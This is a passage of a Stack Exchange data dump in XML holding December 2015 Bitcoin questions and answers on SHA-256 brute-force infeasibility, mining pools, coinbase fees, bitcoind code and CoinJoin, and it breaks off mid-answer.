  <row Id="41840" PostTypeId="2" ParentId="41829" CreationDate="2015-12-14T13:12:35.690" Score="0" Body="&lt;p&gt;I understand. 2^255 is indeed an incredibly large number.  Not only is SHA-256 not an encryption algorithm, it is a cryptographic hash function, so my question was a little flawed to begin with, but the amount of time it would take to brute-force a single SHA256 hash is (currently) much too long even with the most advanced ASIC miners available today.  To brute-force a single SHA256 hash, we would need ASIC miners that are a trillion trillion trillion times faster than the hash rate of the entire bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="31192" LastActivityDate="2015-12-14T13:12:35.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41841" PostTypeId="2" ParentId="41823" CreationDate="2015-12-14T13:35:54.963" Score="0" Body="&lt;p&gt;The stratum pool managing software I'm familiar with is &lt;a href=&quot;https://github.com/zone117x/node-stratum-pool&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zone117x/node-stratum-pool&lt;/a&gt;, so I can tell you what they do. Stratum is a protocol, though, so multiple pieces of software could implement it differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This parameter is controlled by the &lt;code&gt;blockRefreshInterval&lt;/code&gt; in the config. Every &lt;code&gt;blockRefreshInterval&lt;/code&gt; milliseconds, the stratum server checks the bitcoin core node, via RPC, for new blocks using &lt;code&gt;getblocktemplate&lt;/code&gt;. If there hasn't been a new block since the last time &lt;code&gt;getblocktemplate&lt;/code&gt; was called, then it sets the current job, which is returned to all new requests for work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The polling interval suggested in the config is every 1 second. Miners may request work at very different rates as well, so some may be working on older work. As long as it's work for the next block, it's considered valid though. The pool does use the same node and mempool data to build blocks, though. So, given all these variables, &lt;strong&gt;miners most likely won't be working on the exact same transaction set&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant bits of code: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/pool.js#L555-L562&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/pool.js#L555-L562&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/jobManager.js#L138&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/jobManager.js#L138&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/pool.js#L492&quot; rel=&quot;nofollow&quot;&gt;https://github.com/zone117x/node-stratum-pool/blob/02e78da1ab53a2409bbb8721f9771346c373482b/lib/pool.js#L492&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-14T13:35:54.963" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41842" PostTypeId="2" ParentId="41829" CreationDate="2015-12-14T15:32:21.737" Score="23" Body="&lt;p&gt;Another way to look at it is to take a look at a recent block that was mined, for example, block 388368.  Looking at this block on &lt;a href=&quot;https://blockchain.info/block/0000000000000000021ff110a589e44f56979254a204557311204f803910fdfa&quot; rel=&quot;noreferrer&quot;&gt;blockchain.info&lt;/a&gt;, you can see that the hash for this block is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000000000021ff110a589e44f56979254a204557311204f803910fdfa&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It took roughly 10 minutes for all of the miners (doing a combined 700,000,000 giga-hashes per second) to find the above hash which has enough leading zeroes (17) to meet the difficulty requirement of the network at that time.  Since the remaining digits after the first 17 leading zeroes could have been anything, there are 16^47 (i.e.16^(64-17)) possible hashes that could have been found which would have satisfied the difficulty requirement (which is 3.92 * 10^56), yet it took &lt;code&gt;all&lt;/code&gt; of the mining power of the entire bitcoin network ~10 minutes to find just one hash that met the requirement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To crack a hash, you need not just the first 17 digits to match the given hash, but all 64 of the digits to match.  So, extrapolating from the above, it would take 10 * 3.92 * 10^56 minutes to crack a SHA256 hash using all of the mining power of the entire bitcoin network.  That's a long time.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastEditorUserId="7272" LastEditDate="2018-05-28T21:26:00.493" LastActivityDate="2018-05-28T21:26:00.493" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="41846" PostTypeId="2" ParentId="331" CreationDate="2015-12-14T16:28:02.990" Score="2" Body="&lt;p&gt;If you made the computation &quot;useful&quot; in some other sense, then in principle you could just sell that &quot;useful&quot; output, and thereby decrease the net economic expenditure securing the blockchain, making it less secured.  So bitcoin's &quot;useless&quot; computation is useful, whether or not it has another use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently answered this question on my blog, more details can be found here: &lt;a href=&quot;https://blog.sldx.com/is-bitcoins-proof-of-work-useless-work-a411480d3eb3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.sldx.com/is-bitcoins-proof-of-work-useless-work-a411480d3eb3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15529" LastEditorUserId="15529" LastEditDate="2017-12-01T00:13:22.543" LastActivityDate="2017-12-01T00:13:22.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41847" PostTypeId="1" AcceptedAnswerId="41848" CreationDate="2015-12-14T17:44:59.933" Score="6" ViewCount="853" Body="&lt;p&gt;If the sum of the coinbase transaction's outputs must be less than or equal to the current reward (25 btc currently), why in practice do blocks have a slightly higher coinbase transaction output (for example &lt;a href=&quot;https://blockchain.info/block/000000000000000006f4fbd1cb7393fd7437ba9c07ae75dd7596682e302fd3db&quot; rel=&quot;nofollow&quot;&gt;this block&lt;/a&gt; has a &lt;a href=&quot;https://blockchain.info/tx/05f8871ec7a25e744d75b59541c004cbf06ccd5dbaea1162f5a6656fbeba04cf&quot; rel=&quot;nofollow&quot;&gt;coinbase transaction&lt;/a&gt; with an output value of 25.25058085 BTC.&lt;/p&gt;&#xA;" OwnerUserId="31206" LastEditorUserId="5406" LastEditDate="2015-12-15T13:46:40.190" LastActivityDate="2023-10-18T19:58:04.287" Title="Why are coinbase transaction outputs greater than reward?" Tags="|transaction-fees|block|mining-reward|coinbase-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41848" PostTypeId="2" ParentId="41847" CreationDate="2015-12-14T17:49:47.723" Score="6" Body="&lt;p&gt;The extra 0.25058085 BTC is the sum of the transaction fees on the block (each transactions fee is the difference between the value of the transaction's inputs and the transaction's outputs).&lt;/p&gt;&#xA;&lt;p&gt;As you can see, &lt;a href=&quot;https://btcscan.org/block/000000000000042f7c236a243e2d84bec12210dd2dd5abbeaaf55024898ac70f&quot; rel=&quot;nofollow noreferrer&quot;&gt;this block&lt;/a&gt; which had no transactions on it, and therefore no transaction fees, had a coinbase transaction whose sum of outputs was exactly equal to the reward (50 btc at the time).&lt;/p&gt;&#xA;" OwnerUserId="19524" LastEditorUserId="19524" LastEditDate="2023-10-18T19:58:04.287" LastActivityDate="2023-10-18T19:58:04.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41849" PostTypeId="1" AcceptedAnswerId="42497" CreationDate="2015-12-14T17:56:35.390" Score="0" ViewCount="394" Body="&lt;p&gt;I am trying to get the MPK of a wallet using bitcoinj. Can I get the DeterministicSeed, which is the seed of the wallet and get the MnemonicCode of 12 words. But I can't get the MPK. As I can make it using bitcoinj?&lt;/p&gt;&#xA;" OwnerUserId="27532" LastActivityDate="2016-01-22T09:07:33.730" Title="How to get the MPK using bitcoinj and how to generate the addresses using the MPK?" Tags="|public-key|bitcoinj|private-key-import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41850" PostTypeId="1" CreationDate="2015-12-14T18:25:36.197" Score="6" ViewCount="137" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/7022&quot; rel=&quot;nofollow&quot;&gt;A recent pull request&lt;/a&gt; moves ahead to deprecate the concept of transaction priority by changing the block priority space to zero. This has enraged some users who believe that deprecating transaction priority means that it will no longer be possible to create zero fee transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what are the arguments for and against deprecating transaction priority?&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="5406" LastEditDate="2015-12-15T21:45:24.347" LastActivityDate="2016-04-24T00:38:14.017" Title="What are the arguments for and against deprecating transaction priority?" Tags="|protocol|transaction-fees|bitcoin-core-development|coin-age-priority|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41851" PostTypeId="2" ParentId="36264" CreationDate="2015-12-14T20:22:53.390" Score="-2" Body="&lt;p&gt;I wanted to challenge the idea that we should not incentivise the running of nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I am not saying:&lt;/strong&gt; I am not saying to write incentivising into the core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe we do need to think about how node operation can be encouraged via financial incentive, this is because long term I believe that all things that provide value should be encouraged via micropayments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Financial incentives create a feedback loop in which the market helps optimize. This creates more development and faster iterations and more collaboration on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could exist as a sidechain, alt-pegged coin, or even how p2pnodes work which is up to the node provider on how much the charge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wanted to see more discussion on this! All of you have good points above, however, I see them as things we need to think about when thinking about how to provide incentive to running full nodes.&lt;/p&gt;&#xA;" OwnerUserId="31210" LastActivityDate="2015-12-14T20:22:53.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41852" PostTypeId="2" ParentId="41847" CreationDate="2015-12-14T22:35:33.703" Score="2" Body="&lt;p&gt;In addition to the reward, the miner may spend all transaction fees to himself when he discovers the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees are what's left of a transaction's input after subtracting the outputs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   Input                 Output&#xA;   1 BTC --------------&amp;gt; 0.99 BTC&#xA;                               ---&amp;gt; Transaction Fee = 0.01 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sum of all transaction outputs &lt;strong&gt;on the whole block&lt;/strong&gt; must be smaller or equal than the sum of all transaction inputs on the whole block plus reward.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-14T22:35:33.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41853" PostTypeId="1" AcceptedAnswerId="41905" CreationDate="2015-12-14T23:45:34.380" Score="0" ViewCount="83" Body="&lt;p&gt;Are there any good guides or books on how to start a Bitcoin- and fiat-accepting online business? I'm looking for something that includes going over how to found a company and deal with tax issues and other related human resources issues like payroll.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="38618" LastEditDate="2020-05-09T16:07:47.417" LastActivityDate="2020-05-09T16:07:47.417" Title="Guides/books on how to start a Bitcoin-accepting online business?" Tags="|services|taxes|business|merchant-services|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41856" PostTypeId="1" AcceptedAnswerId="41865" CreationDate="2015-12-15T05:29:46.080" Score="1" ViewCount="426" Body="&lt;p&gt;Source code (&lt;code&gt;src/httpserver.cpp&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void ThreadHTTP(struct event_base* base, struct evhttp* http)&#xA;{&#xA;    RenameThread(&quot;bitcoin-http&quot;);&#xA;    LogPrint(&quot;http&quot;, &quot;Entering http event loop\n&quot;);&#xA;    event_base_dispatch(base);&#xA;    // Event loop will be interrupted by InterruptHTTPServer()&#xA;    LogPrint(&quot;http&quot;, &quot;Exited http event loop\n&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me understand this portion of logic? In particular &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the HTTP magic happening here &lt;code&gt;event_base_dispatch(base)&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;li&gt;Why are we renaming threads?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31217" LastEditorUserId="2306" LastEditDate="2015-12-17T18:40:21.140" LastActivityDate="2015-12-17T18:40:21.140" Title="What does event_base_dispatch do?" Tags="|bitcoind|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41857" PostTypeId="1" AcceptedAnswerId="41866" CreationDate="2015-12-15T10:17:36.897" Score="2" ViewCount="97" Body="&lt;p&gt;Are there any available studies, articles or blog posts on this topic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently working on a market analysis including major bitcoin exchanges and the bitcoin price index. I'm specifically interested in the relevance of the network hashrate and block difficulty for spikes and drops in the BitCoin Price Index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had some discussions with few traders, and there seemingly is no such study. I expect no surprises, but I feel like this should be measured, described and written down, rather than passed on by hearsay and witty comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, I'm looking for anything related to the above mentioned topic, to compile it into a single piece for future reference.&lt;/p&gt;&#xA;" OwnerUserId="30500" LastEditorUserId="30500" LastEditDate="2015-12-15T10:25:27.500" LastActivityDate="2015-12-15T18:04:30.427" Title="BitCoin Price Index -Studies on Relation to Network Hashrate and Block Difficulty?" Tags="|exchanges|difficulty|academic-research|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41859" PostTypeId="1" CreationDate="2015-12-15T11:21:24.830" Score="1" ViewCount="1680" Body="&lt;p&gt;I've used a site called bit trade australia to buy and send bitcoins to a wallet on blockchain.info. Successfully three times this month, trusted too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet this time (after receiving an email from BTA, &quot;your coins have been transferred&quot; like normal) there is zero proof on blockchain.info of this happening. My wallet hasn't changed. No bitcoins. It's been 13 hours since that email. And I assure you, this has never happend to me before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thank you, Regards.&lt;/p&gt;&#xA;" OwnerUserId="31223" LastEditorUserId="18196" LastEditDate="2015-12-15T15:39:41.953" LastActivityDate="2015-12-15T21:58:38.430" Title="Bitcoins never showed up in wallet. Yet sender says transfer complete" Tags="|transactions|blockchain|wallet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41860" PostTypeId="1" AcceptedAnswerId="41862" CreationDate="2015-12-15T12:54:31.607" Score="3" ViewCount="653" Body="&lt;p&gt;I have a serialised transaction in raw hex format that I want decoded in JavaScript. Can Bitcore do that for me?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2015-12-15T15:17:06.110" Title="Can Bitcore decode a raw tx?" Tags="|transactions|raw-transaction|raw-data|bitcore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41861" PostTypeId="1" CreationDate="2015-12-15T13:27:12.237" Score="2" ViewCount="1073" Body="&lt;p&gt;Could you please explain me the meaning behind the terms and actions of the cmd line like:&#xA;bfgminer -o stratum+tcp://stratum.mining.eligius.st:3334 -O YourAddress &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this:&#xA;bfgminer -o stratum+tcp://uk1.ghash.io:3333-u username.worker -p YourPasswordHere&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time.&#xA;Best regards&lt;/p&gt;&#xA;" OwnerUserId="31211" LastActivityDate="2017-02-27T01:59:01.053" Title="mining command-key term explanation" Tags="|bfgminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41862" PostTypeId="2" ParentId="41860" CreationDate="2015-12-15T15:17:06.110" Score="3" Body="&lt;p&gt;Bitcore makes it very easy to do this. Just use the Transaction constructor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var bitcore = require('bitcore')&#xA;&#xA;var txHexSerialized = &quot;010000000...00000000&quot;;&#xA;var txDecoded = new bitcore.Transaction(txHexSerialized);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-15T15:17:06.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41863" PostTypeId="2" ParentId="16649" CreationDate="2015-12-15T15:23:05.027" Score="0" Body="&lt;p&gt;This is a quote from Andreas' book.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chapter 5 &#xA;Section: Transaction Chaining and Orphan Transactions&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As we have seen, transactions form a chain, whereby one transaction&#xA;  spends the outputs of the previous transaction (known as the parent)&#xA;  and creates outputs for a subsequent transaction (known as the child).&#xA;  Sometimes an entire chain of transactions depending on each other—say&#xA;  a parent, child, and grandchild transaction—are created at the same&#xA;  time, to fulfill a complex transactional workflow that requires valid&#xA;  children to be signed before the parent is signed. For example, this&#xA;  is a technique used in CoinJoin transactions where&#xA;  multiple parties join transactions together to protect their privacy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30719" LastActivityDate="2015-12-15T15:23:05.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41864" PostTypeId="2" ParentId="41861" CreationDate="2015-12-15T17:21:25.283" Score="2" Body="&lt;p&gt;Bfgminer is the mining application, the line with the stratum output is the pool that the miner is configured to use. Your address would be a bitcoin address that you own. The worker name and password would be credentials to access your account at the mining pool although most often the password is not used or is substituted with x.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2015-12-15T17:21:25.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41865" PostTypeId="2" ParentId="41856" CreationDate="2015-12-15T17:55:14.803" Score="3" Body="&lt;p&gt;&lt;code&gt;event_base_dispatch&lt;/code&gt; is part of libevent, a library that takes events from network sockets, and uses them to call callbacks in your program. To find out what it's calling, you should look at the &lt;code&gt;struct event_base* base&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool InitHTTPServer()&#xA;{&#xA;    // [...]&#xA;    base = event_base_new(); // XXX RAII&#xA;    // [...]&#xA;    http = evhttp_new(base); // XXX RAII&#xA;    // [...]&#xA;    evhttp_set_gencb(http, http_request_cb, NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are three important calls here. &lt;code&gt;event_base_new&lt;/code&gt; creates the struct that tells &lt;code&gt;event_base_dispatch&lt;/code&gt; how to handle incoming connections. &lt;code&gt;evhttp_new&lt;/code&gt; tells libevent to interpret incoming data as the HTTP protocol, instead of passing along raw bytes. &lt;code&gt;evhttp_set_gencb&lt;/code&gt; tells libevent which function to call when new requests come in. This is where that ends:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** HTTP request callback */&#xA;static void http_request_cb(struct evhttp_request* req, void* arg)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why are we renaming threads?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Debuggging and performance logging.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-15T17:55:14.803" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="41866" PostTypeId="2" ParentId="41857" CreationDate="2015-12-15T18:04:30.427" Score="3" Body="&lt;p&gt;I know of one researcher off hand who has worked in this area, Adam Hayes. You can find his papers on the subject at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2648366&quot; rel=&quot;nofollow&quot;&gt;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2648366&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.economicpolicyresearch.org/econ/2015/NSSR_WP_052015.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.economicpolicyresearch.org/econ/2015/NSSR_WP_052015.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You could also look around on &lt;a href=&quot;http://arxiv.org/&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/&lt;/a&gt;. Just searching for 'bitcoin price', I found:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1406.0268.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1406.0268.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arxiv.org/pdf/1405.4498.pdf&quot; rel=&quot;nofollow&quot;&gt;http://arxiv.org/pdf/1405.4498.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-12-15T18:04:30.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41868" PostTypeId="1" AcceptedAnswerId="41884" CreationDate="2015-12-15T18:20:41.983" Score="3" ViewCount="11024" Body="&lt;p&gt;I did a lot of intensive research on how the Blockchain actually works. I understand the machinery but it's really difficult to explain this to a layman. Could someone provide the simplest of explanation that can be comprehended by any person,  whether or not he/she is a tech enthusiast.&lt;/p&gt;&#xA;" OwnerUserId="31229" LastEditorUserId="5406" LastEditDate="2015-12-16T11:06:46.893" LastActivityDate="2015-12-16T11:14:16.853" Title="How does the blockchain work, explained in layman terms?" Tags="|blockchain|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41869" PostTypeId="2" ParentId="41859" CreationDate="2015-12-15T18:34:39.230" Score="-3" Body="&lt;p&gt;If they are using an intermediary with poor performance it could could just be sitting in a queue somewhere.&lt;/p&gt;&#xA;" OwnerUserId="31110" LastActivityDate="2015-12-15T18:34:39.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41870" PostTypeId="2" ParentId="41868" CreationDate="2015-12-15T19:02:52.770" Score="1" Body="&lt;p&gt;The 15-second spiel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain = a distributed (shared) append-only ledger, where each node in the network has the same copy of it. &#xA;This ledger contains references to every transaction that has ever occurred on the network which is secured by the mining network, which validates and confirms those transactions.&#xA;The ledger is publicly viewable via a 'block explorer' to prove that a transaction took place or that an address (public key) has a certain balance, however encryption keeps that information obscured in the form of hashes and hash pointers.&#xA;Because the ledger is shared and encrypted, any attempt to alter the data inside of it would require an attacker to simultaneously hack each node of the network and overcome the encryption. Even if it could be attacked, due to the nature of hash functions, the tampering would be evident.&lt;/p&gt;&#xA;" OwnerUserId="10405" LastEditorUserId="10405" LastEditDate="2015-12-16T01:27:29.760" LastActivityDate="2015-12-16T01:27:29.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41871" PostTypeId="1" CreationDate="2015-12-15T20:34:37.593" Score="0" ViewCount="211" Body="&lt;p&gt;i wonder how out of block chain transactions work, because till i know it happens but &quot;is not recommended&quot; &lt;em&gt;(it is what i read on the internet)&lt;/em&gt;, i want to manage some micro transactions but as it is well known  that the fees of each transaction would eat them up so it would be better out of block chain transactions to deal with them?, is there any API that would help me on this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advanced for your time.&lt;/p&gt;&#xA;" OwnerUserId="31231" LastActivityDate="2015-12-15T22:11:18.323" Title="How out of block chain transactions work, and is there any API for that?" Tags="|transactions|blockchain|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41872" PostTypeId="2" ParentId="41868" CreationDate="2015-12-15T20:34:56.493" Score="0" Body="&lt;p&gt;A block chain is a permanent record of transactions in &quot;Bitcoin,&quot; (an alternative cybercurrency). Once created, the record basically cannot be altered (giving the currency its validity. The verification process takes place when users validate the transaction electronically. Once this happens, a process is set in motion that is impossible to overturn except by 51% of worldwide users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system is protected by &quot;hashes,&quot; which are encrypted. It is difficult, though not impossible to break into the system, but the result would be so evident than any illegitimate changes to the system can be detected and cancelled.&lt;/p&gt;&#xA;" OwnerUserId="15143" LastActivityDate="2015-12-15T20:34:56.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41873" PostTypeId="2" ParentId="41859" CreationDate="2015-12-15T21:58:38.430" Score="3" Body="&lt;p&gt;This should be easy to prove or disprove using any block chain explorer.  Ask the sender to send you the transaction hash for the transaction where the coins were supposedly sent to you.  Then, do a search for this transaction hash using any block chain explorer (such as &lt;a href=&quot;http://www.blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;).  If a transaction is found for the hash, with your bitcoin address and the amount that you expected as one of the outputs, then this confirms that the sender did indeed make the payment to you.  Otherwise, the sender can't support their claim.&lt;/p&gt;&#xA;" OwnerUserId="30884" LastActivityDate="2015-12-15T21:58:38.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41874" PostTypeId="2" ParentId="41871" CreationDate="2015-12-15T22:11:18.323" Score="1" Body="&lt;p&gt;Off-chain transactions are transactions on any system that's not the blockchain. Micropayment transactions, lightning network transactions and even coinbase-to-coinbase or changetip would count as off-chain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are API's to the &lt;a href=&quot;https://www.changetip.com/api&quot; rel=&quot;nofollow&quot;&gt;various&lt;/a&gt; &lt;a href=&quot;https://developers.coinbase.com/&quot; rel=&quot;nofollow&quot;&gt;services&lt;/a&gt;. Lightning network is not live yet and micropayment transactions still need settlement on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-15T22:11:18.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41875" PostTypeId="1" AcceptedAnswerId="41878" CreationDate="2015-12-15T22:24:39.467" Score="4" ViewCount="1000" Body="&lt;p&gt;Coinjoin and coinshuffle creates an anonymous transaction. But how are they different? And which services implemented these features?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-12-16T04:16:17.290" Title="What is the difference from coinjoin and a coinshuffle transaction?" Tags="|privacy|coinjoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41876" PostTypeId="2" ParentId="31974" CreationDate="2015-12-15T23:07:11.503" Score="6" Body="&lt;p&gt;According to &lt;a href=&quot;https://tradeblock.com/bitcoin/historical/1h-f-tsize_per_avg-01101&quot; rel=&quot;noreferrer&quot;&gt;tradeblock.com&lt;/a&gt; the average transaction size is about 500-530 bytes&lt;/p&gt;&#xA;" OwnerUserId="31233" LastActivityDate="2015-12-15T23:07:11.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41878" PostTypeId="2" ParentId="41875" CreationDate="2015-12-16T04:16:17.290" Score="3" Body="&lt;p&gt;CoinJoin is the core idea underlying CoinShuffle (and other mixing techniques).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind CoinJoin: &quot;When you want to make a payment, find someone else who also wants to make a payment and make a joint payment together&quot;. This leaves out two major details:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How two (or more) participants who want to make a payment find each other?&lt;/li&gt;&#xA;&lt;li&gt;How is the joint transaction composed and submitted to the network?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This leaves much room for different approaches and implementations. There's more info about some of them &lt;a href=&quot;https://en.wikipedia.org/wiki/CoinJoin#Security_issues&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinShuffle only addresses the second question.  When you think about this problem for a moment, the obvious solutions which come to mind involve a centralized entity to compose: either a 3rd party, or one of the participants. It isn't immediately clear how this can be done in a decentralized manner, which also protects their privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinShuffle describes an elegant decentralized protocol for constructuring the joint transaction in such a way that no privacy is compromised: there is no &quot;centralized coordinator&quot;, and even the participants cannot link inputs to outputs (except for their own input and output, of course, which they chose). Of course, this unlinkability feature only makes sense if there are more than two participants.  The protocol is elegant and simple, and is described &lt;a href=&quot;http://crypsys.mmci.uni-saarland.de/projects/CoinShuffle/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, I don't think it is accurate to say they &quot;create an anonymous transaction&quot;. It is more accurate to say they create a joint transaction in which it is either hard or impossible (depending on the method used and some implementation details) to link inputs to 